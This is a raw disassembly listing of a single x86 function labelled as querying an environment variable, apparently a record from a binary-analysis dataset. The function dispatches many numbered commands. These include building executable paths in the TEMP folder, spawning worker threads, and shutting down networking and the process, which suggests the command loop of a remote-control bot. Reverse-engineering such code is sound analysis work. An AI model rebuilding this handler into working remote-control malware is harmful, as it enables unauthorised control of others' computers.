Function at 0x401068
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xadc
mov ebx, dword [ebp + 0x10]
mov esi, dword [ebp + 0x14]
mov edi, dword [ebp + 0xc]
test esi, esi
jle 0x4010b9
mov eax, dword [ebp + 8]
cmp dword [0x410678], eax
jne 0x4010b9
mov eax, dword [0x415c08]
test eax, eax
je 0x4010b9
mov dword [esp + 0x14], 2
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], ebx
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x415bf4
mov dword [esp], eax
call fcn.0040cf1f
lea eax, [edi - 1]
cmp al, 0x4b
ja case.0x4010c7.1
movzx eax, al
jmp dword [eax*4 + 0x4106e0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
jmp 0x4011a5
lea eax, [ebx + 0x20]
mov dword [esp + 8], eax
mov dword [esp + 4], ebx
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.0040d350
test al, al
je 0x4011b5
mov dword [esp + 4], 0x40
lea ebx, [ebp - 0xa5c]
mov dword [esp], ebx
call fcn.0040a179
mov dword [esp + 4], 0x40
lea esi, [ebp - 0xa9c]
mov dword [esp], esi
call fcn.0040a110
mov dword [esp + 4], 0x200
lea edi, [ebp - 0xa1c]
mov dword [esp], edi
call fcn.0040a52d
mov dword [esp + 0x24], 0x4157d4
mov dword [esp + 0x20], edi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x18], ebx
mov dword [esp + 0x14], 0x4157b4
mov dword [esp + 0x10], 0x1056300
mov dword [esp + 0xc], 1
mov dword [esp + 8], str._c_.8x_s_a_s____s_a_s_a_s_a
mov dword [esp + 4], 0x800
lea ebx, [ebp - 0x818]
mov dword [esp], ebx
call fcn.004099d7
mov dword [esp + 0xc], eax
mov dword [esp + 8], ebx
mov dword [esp + 4], 5
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.00403ace
jmp case.0x4010c7.1
mov dword [esp], 0x2710
call fcn.00405138
lea edx, [ebp + 8]
mov dword [esp], edx
call fcn.00403c80
jmp case.0x4010c7.1
mov dword [esp], 0x61c
call sub.msvcrt.dll_malloc
mov esi, eax
test eax, eax
je case.0x4010c7.1
mov dword [esp + 0x10], 0x204
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.00409c14
mov dword [esp + 0x10], 0x204
lea eax, [esi + 0x204]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 2
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.00409c14
mov dword [esp + 0x10], 0x800
lea edi, [ebp - 0x818]
mov dword [esp + 0xc], edi
mov dword [esp + 8], 3
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.00409c14
mov dword [esp], edi
call fcn.0040984d
mov dword [esi + 0x610], eax
mov dword [esp + 0x10], 0x800
mov dword [esp + 0xc], edi
mov dword [esp + 8], 4
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.00409c14
mov dword [esp], str.TEMP
call sub.msvcrt.dll_getenv
mov dword [esp + 0x10], edi
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._s_s.exe
mov dword [esp + 4], 0x204
lea eax, [esi + 0x408]
mov dword [esp], eax
call fcn.004099d7
mov eax, dword [ebp + 8]
mov dword [esi + 0x618], eax
mov dword [esi + 0x614], 0
mov dword [esp + 4], esi
mov dword [esp], 0x40a8e3
jmp 0x401f38
mov dword [esp + 8], 0x800
lea esi, [ebp - 0x818]
mov dword [esp + 4], esi
mov dword [esp], ebx
call fcn.00409f34
mov dword [esp + 4], esi
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.0040a7e4
jmp case.0x4010c7.1
call section..text
lea eax, [ebp + 8]
mov dword [esp], eax
call fcn.00403c80
jmp 0x40135c
lea edx, [ebp + 8]
mov dword [esp], edx
call fcn.00403c80
call section..text
mov dword [esp], 0x7d0
call fcn.00405138
jmp case.0x4010c7.1
call fcn.0040aac8
lea eax, [ebp + 8]
mov dword [esp], eax
call fcn.00403c80
call section..text
call fcn.0040ab8a
call sub.WS2_32.dll_WSACleanup
mov dword [esp], 0
call sub.KERNEL32.dll_ExitProcess
mov dword [esp], ebx
call fcn.0040b3e8
jmp case.0x4010c7.1
mov dword [esp], 0x61c
call sub.msvcrt.dll_malloc
mov esi, eax
test eax, eax
je case.0x4010c7.1
mov dword [esp + 0x10], 0x204
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.00409c14
mov dword [esp + 0x10], 0x204
lea eax, [esi + 0x204]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 2
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.00409c14
mov dword [esp + 0x10], 0x800
lea edi, [ebp - 0x818]
mov dword [esp + 0xc], edi
mov dword [esp + 8], 3
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.00409c14
mov dword [esp], edi
call fcn.0040984d
mov dword [esi + 0x610], eax
mov dword [esp + 0x10], 0x800
mov dword [esp + 0xc], edi
mov dword [esp + 8], 4
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.00409c14
mov dword [esp + 8], 0x10
lea edx, [ebp - 0xa1c]
mov dword [esp + 4], edx
mov dword [esp], esi
call fcn.00409e92
cmp byte [ebp - 0xa1c], 0
mov dword [esp], str.TEMP
je 0x4014a0
call sub.msvcrt.dll_getenv
lea edx, [ebp - 0xa1c]
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], edi
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._s_s._s
mov dword [esp + 4], 0x204
lea eax, [esi + 0x408]
mov dword [esp], eax
call fcn.004099d7
jmp 0x4014cb
call sub.msvcrt.dll_getenv
mov dword [esp + 0x10], edi
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x4106cc
mov dword [esp + 4], 0x204
lea eax, [esi + 0x408]
mov dword [esp], eax
call fcn.004099d7
mov dword [esp + 0x10], 0x800
lea edi, [ebp - 0x818]
mov dword [esp + 0xc], edi
mov dword [esp + 8], 5
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.00409c14
mov dword [esp], edi
call fcn.0040984d
test eax, eax
setne byte [esi + 0x60c]
mov dword [esi + 0x618], 0
mov dword [esi + 0x614], 0
jmp 0x401e5f
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.00404138
jmp case.0x4010c7.1
mov eax, dword [ebp + 8]
mov dword [ebp - 0x610], eax
mov byte [ebp - 0x613], 0x11
mov byte [ebp - 0x614], 0x10
mov byte [ebp - 0x60c], 0
mov dword [esp + 8], 0x204
mov dword [esp + 4], ebx
lea ebx, [ebp - 0x818]
mov dword [esp], ebx
call fcn.00409768
jmp 0x4018b1
mov dword [esp], 0x230
call sub.msvcrt.dll_malloc
mov esi, eax
test eax, eax
je case.0x4010c7.1
movsx eax, byte [ebx]
mov dword [esi + 0x204], 0
mov byte [esi + 0x20c], 0x15
mov byte [esi + 0x20d], 0x16
mov byte [esi + 0x20e], 0x17
mov dword [esi + 0x208], eax
mov edx, dword [ebp + 8]
mov dword [esi + 0x210], edx
mov dl, byte [ebx + 1]
mov byte [esi + 0x228], dl
add ebx, 2
test eax, eax
je 0x401674
dec eax
jne 0x4016ea
mov dword [esp + 0x10], 0x800
lea edi, [ebp - 0x818]
mov dword [esp + 0xc], edi
mov dword [esp + 8], 1
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.00409c14
mov dword [esp + 8], 0x204
mov dword [esp + 4], esi
mov dword [esp], edi
call fcn.00409f34
mov dword [esp + 8], 0x204
lea eax, [ebp - 0xa1c]
mov dword [esp + 4], eax
mov dword [esp], esi
mov dword [ebp - 0xaac], eax
call fcn.00409dc9
mov eax, dword [ebp - 0xaac]
mov dword [esp], eax
call fcn.00404e61
mov dword [esp + 0x10], 0x800
mov dword [esp + 0xc], edi
mov dword [esp + 8], 2
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.00409c14
mov dword [esp], edi
call fcn.004098b1
mov dword [esi + 0x220], eax
mov dword [esi + 0x224], edx
jmp 0x4016ea
mov dword [esp + 0x10], 0x204
mov dword [esp + 0xc], esi
mov dword [esp + 8], 1
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.00409c14
mov dword [esp + 0x10], 0x800
lea edi, [ebp - 0x818]
mov dword [esp + 0xc], edi
mov dword [esp + 8], 2
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.00409c14
mov dword [esp], edi
call fcn.004098b1
mov dword [esi + 0x220], eax
mov dword [esi + 0x224], edx
mov dword [esp], esi
call fcn.004049eb
mov dword [esi + 0x218], eax
mov dword [esi + 0x21c], edx
mov dword [esp + 4], esi
mov dword [esp], 0x40b8c9
jmp 0x401f38
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.0040bcfd
jmp case.0x4010c7.1
mov dword [esp], 0x214
call sub.msvcrt.dll_malloc
mov esi, eax
test eax, eax
je case.0x4010c7.1
movsx eax, byte [ebx]
mov dword [esi + 0x204], eax
mov eax, dword [ebp + 8]
mov dword [esi + 0x208], eax
mov byte [esi + 0x210], 1
movzx eax, byte [ebx + 1]
mov dword [esi + 0x20c], eax
mov dword [esp + 8], 0x204
add ebx, 2
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.00409768
mov dword [esp + 4], esi
mov dword [esp], 0x40b793
jmp 0x401f38
movzx eax, byte [ebx]
mov dword [esp], eax
call fcn.0040b4e6
jmp case.0x4010c7.1
xor eax, eax
cmp byte [ebx + 1], 0
setne al
mov dword [esp + 8], eax
movzx eax, byte [ebx]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.00406274
jmp case.0x4010c7.1
mov dword [esp], ebx
call fcn.0040984d
mov dword [esp], eax
call fcn.00406378
jmp case.0x4010c7.1
mov dword [esp], ebx
call fcn.0040984d
mov dword [esp], eax
call fcn.00406349
jmp case.0x4010c7.1
mov dword [esp + 8], 6
mov dword [esp + 4], ebx
lea eax, [ebp - 0xa1c]
mov dword [esp], eax
call fcn.00409cc0
mov eax, dword [ebp - 0xa1c]
mov dword [esp], eax
mov eax, dword [ebp - 0xa18]
mov word [esp + 4], ax
call fcn.00406459
jmp case.0x4010c7.1
mov dword [esp + 8], 6
mov dword [esp + 4], ebx
lea eax, [ebp - 0xa1c]
mov dword [esp], eax
call fcn.00409cc0
mov eax, dword [ebp - 0xa1c]
mov dword [esp], eax
mov eax, dword [ebp - 0xa18]
mov word [esp + 4], ax
call fcn.004063a7
jmp case.0x4010c7.1
mov dword [esp], 0x40
call fcn.0040a93c
test al, al
mov eax, dword [ebp + 8]
jne 0x401870
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 8], 0
mov dword [esp + 4], 0x37
jmp 0x4011a8
mov dword [ebp - 0x610], eax
mov byte [ebp - 0x614], 0x36
mov byte [ebp - 0x613], 0x37
mov byte [ebp - 0x60c], 0
mov dword [esp + 0xc], 0x4102c8
mov dword [esp + 8], 0x4106d2
mov dword [esp + 4], 0x204
lea ebx, [ebp - 0x818]
mov dword [esp], ebx
call fcn.004099d7
mov dword [esp], ebx
call fcn.004041c3
jmp case.0x4010c7.1
mov dword [esp + 4], ebx
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.0040de7a
jmp case.0x4010c7.1
mov dword [esp], ebx
call fcn.0040df92
jmp case.0x4010c7.1
mov dword [esp], ebx
call fcn.0040e05f
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], ebx
mov dword [esp + 8], str._s_a_d
mov dword [esp + 4], 0x800
lea ebx, [ebp - 0x818]
mov dword [esp], ebx
call fcn.004099d7
mov dword [esp + 0xc], eax
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x38
jmp 0x4011a5
mov dword [esp], 0x409
call sub.msvcrt.dll_malloc
mov esi, eax
test eax, eax
je case.0x4010c7.1
mov dword [esp + 0x10], 0x204
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.00409c14
mov dword [esp + 0x10], 0x204
lea eax, [esi + 0x204]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 2
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.00409c14
mov byte [esi + 0x408], 1
mov dword [esp + 4], esi
mov dword [esp], 0x4049b1
jmp 0x401f38
mov dword [esp + 0x10], 0x800
lea esi, [ebp - 0x818]
mov dword [esp + 0xc], esi
mov dword [esp + 8], 1
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.00409c14
mov dword [esp + 0x10], 0x104
lea edi, [ebp - 0xa1c]
mov dword [esp + 0xc], edi
mov dword [esp + 8], 2
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.00409c14
mov dword [esp + 0x10], 0x40
lea edx, [ebp - 0xa5c]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 3
mov dword [esp + 4], 7
mov dword [esp], ebx
mov dword [ebp - 0xaac], edx
call fcn.00409c14
mov edx, dword [ebp - 0xaac]
mov dword [esp], edx
call fcn.0040984d
mov dword [esp + 8], eax
mov dword [esp + 4], edi
mov dword [esp], esi
call fcn.004047f5
jmp case.0x4010c7.1
mov dword [esp + 0x10], 0x800
lea edi, [ebp - 0x818]
mov dword [esp + 0xc], edi
mov dword [esp + 8], 1
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.00409c14
mov dword [esp + 0x10], 0x104
lea edx, [ebp - 0xa1c]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 2
mov dword [esp + 4], 7
mov dword [esp], ebx
mov dword [ebp - 0xaac], edx
call fcn.00409c14
mov edx, dword [ebp - 0xaac]
mov dword [esp + 4], edx
mov dword [esp], edi
call fcn.0040484a
test al, al
je case.0x4010c7.1
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1a
jmp 0x4011a5
mov dword [esp], ebx
call fcn.00404831
test al, al
je case.0x4010c7.1
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1b
jmp 0x4011a5
mov dword [esp], ebx
call fcn.00404e3f
test al, al
je case.0x4010c7.1
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
jmp 0x4011a5
mov dword [esp], ebx
call fcn.00404ef6
test al, al
je case.0x4010c7.1
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1d
jmp 0x4011a5
mov dword [esp], 0x314
call sub.msvcrt.dll_malloc
mov esi, eax
test eax, eax
je case.0x4010c7.1
mov dword [esp + 0x10], 0x204
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.00409c14
mov dword [esp + 0x10], 0x104
lea eax, [esi + 0x204]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 2
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.00409c14
mov dword [esi + 0x308], 0
mov eax, dword [ebp + 8]
mov dword [esi + 0x30c], eax
mov byte [esi + 0x310], 1
mov dword [esp + 4], esi
mov dword [esp], fcn.00404478
call fcn.0040514c
mov dword [0x415284], eax
jmp case.0x4010c7.1
mov dword [0x415284], 0
jmp case.0x4010c7.1
mov dword [esp], 0x210
call sub.msvcrt.dll_malloc
mov esi, eax
test eax, eax
je case.0x4010c7.1
mov dword [esp + 0x10], 0x204
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.00409c14
mov dword [esp + 0x10], 0x800
lea eax, [ebp - 0x818]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 2
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.00409c14
mov dword [esi + 0x204], 0
mov eax, dword [ebp + 8]
mov dword [esi + 0x208], eax
mov byte [esi + 0x20d], 1
cmp byte [ebp - 0x818], 0
setne byte [esi + 0x20c]
mov dword [esp + 4], esi
mov dword [esp], fcn.00404a21
call fcn.0040514c
mov dword [0x415280], eax
jmp case.0x4010c7.1
mov dword [0x415280], 0
jmp case.0x4010c7.1
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], 0x405b30
call fcn.0040514c
mov dword [0x41528c], eax
jmp case.0x4010c7.1
mov dword [0x41528c], 0
jmp case.0x4010c7.1
mov dword [esp + 4], esi
mov dword [esp], ebx
call fcn.00405ee3
jmp case.0x4010c7.1
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.0040a5ea
jmp case.0x4010c7.1
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.0040e0bc
jmp case.0x4010c7.1
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.004057d0
jmp case.0x4010c7.1
mov dword [esp], ebx
call fcn.00405ac4
test al, al
je case.0x4010c7.1
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x2a
jmp 0x4011a5
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.0040be75
jmp case.0x4010c7.1
mov dword [esp], ebx
call fcn.0040bf55
jmp case.0x4010c7.1
mov dword [esp], 0x61c
call sub.msvcrt.dll_malloc
mov esi, eax
test eax, eax
je case.0x4010c7.1
mov dword [esp + 0x10], 0x204
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.00409c14
mov dword [esp + 0x10], 0x204
lea eax, [esi + 0x204]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 2
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.00409c14
mov dword [esp + 0x10], 0x800
lea edi, [ebp - 0x818]
mov dword [esp + 0xc], edi
mov dword [esp + 8], 3
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.00409c14
mov dword [esp + 8], 0x204
lea eax, [esi + 0x408]
mov dword [esp + 4], eax
mov dword [esp], edi
call fcn.00409f34
mov dword [esp + 0x10], 0x800
mov dword [esp + 0xc], edi
mov dword [esp + 8], 4
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.00409c14
mov dword [esp], edi
call fcn.0040984d
mov dword [esi + 0x610], eax
mov dword [esp + 0x10], 0x800
mov dword [esp + 0xc], edi
mov dword [esp + 8], 5
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.00409c14
mov dword [esp], edi
call fcn.0040984d
test eax, eax
setne byte [esi + 0x60c]
mov eax, dword [ebp + 8]
mov dword [esi + 0x618], eax
mov dword [esp + 4], esi
mov dword [esp], fcn.00405494
jmp 0x401f38
mov dword [esp], ebx
call fcn.0040984d
and eax, 0xff
mov dword [esp + 8], eax
and edi, 0xff
mov dword [esp + 4], edi
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.0040931a
jmp case.0x4010c7.1
mov dword [esp], ebx
call fcn.0040984d
and eax, 0xff
mov dword [esp + 8], eax
and edi, 0xff
mov dword [esp + 4], edi
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.004095dc
jmp case.0x4010c7.1
mov dword [esp], ebx
call fcn.0040984d
and eax, 0xff
mov dword [esp + 8], eax
and edi, 0xff
mov dword [esp + 4], edi
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.0040968d
jmp case.0x4010c7.1
mov dword [esp], 0xc
call sub.msvcrt.dll_malloc
mov esi, eax
test eax, eax
je case.0x4010c7.1
mov dword [esp + 8], 4
mov dword [esp + 4], ebx
lea eax, [eax + 4]
mov dword [esp], eax
call fcn.00409cc0
mov dword [esp + 8], 4
add ebx, 4
mov dword [esp + 4], ebx
lea eax, [esi + 8]
mov dword [esp], eax
call fcn.00409cc0
mov dword [esp + 4], esi
mov dword [esp], 0x40c4cc
call fcn.0040514c
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret